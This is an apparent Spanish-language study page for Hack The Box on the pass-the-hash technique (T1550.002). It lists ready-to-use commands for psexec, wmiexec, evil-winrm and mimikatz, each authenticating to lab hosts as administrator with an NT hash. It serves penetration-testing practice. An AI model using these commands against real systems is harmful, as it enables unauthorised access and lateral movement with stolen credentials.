T1550.002

Pass the hash

Subtécnica de T1550 Material de autenticación alternativo ↗

Autenticarse con el hash NT de un usuario sin conocer su contraseña.

Cómo aparece en Hack The Box

Un hash NT sacado de SAM, LSASS, DCSync o ADCS sirve tal cual para SMB, WinRM y LDAP: no hace falta crackearlo. Prueba con NetExec dónde es administrador.

Técnicas de nuestro catálogo que corresponden a esta (el número son sus máquinas):

Máquinas para practicarla

Ordenadas de más fácil a más difícil. El enlace ▶ te lleva al minuto del vídeo de IppSec donde se usa.

Guías

Comandos

Sacados de nuestras chuletas y fichas de herramientas. Escribe tus datos y se rellenan en todos los comandos.

Tus datos Se guardan en este navegador y se aplican a todas las chuletas.

Escalada en Windows y Active Directory › Windows

Pass-the-hash con psexec Atacante
impacket-psexec [email protected] -hashes :HASH_NT
Pass-the-hash con evil-winrm Atacante
evil-winrm -i 10.10.11.20 -u administrator -H HASH_NT

Escalada en Windows y Active Directory › Active Directory

Shell como administrador con el hash
impacket-wmiexec box.htb/[email protected] -hashes :HASH_NT

Active Directory a fondo › Impacket

con pass-the-hash Atacante
impacket-wmiexec -hashes :64f12cddaa88057e06a81b54e73b949b box.htb/[email protected]

C2 y post-explotación › Movimiento lateral

impacket-wmiexec Atacante
impacket-wmiexec -hashes :64f12cddaa88057e06a81b54e73b949b box.htb/[email protected]
evil-winrm Atacante
evil-winrm -i 10.10.11.20 -u usuario -H 64f12cddaa88057e06a81b54e73b949b

Mimikatz › Dominio

Pass the hash (abre un proceso con esa identidad) Víctima
.\mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:box.htb /ntlm:64f12cddaa88057e06a81b54e73b949b /run:powershell.exe" "exit"

Herramientas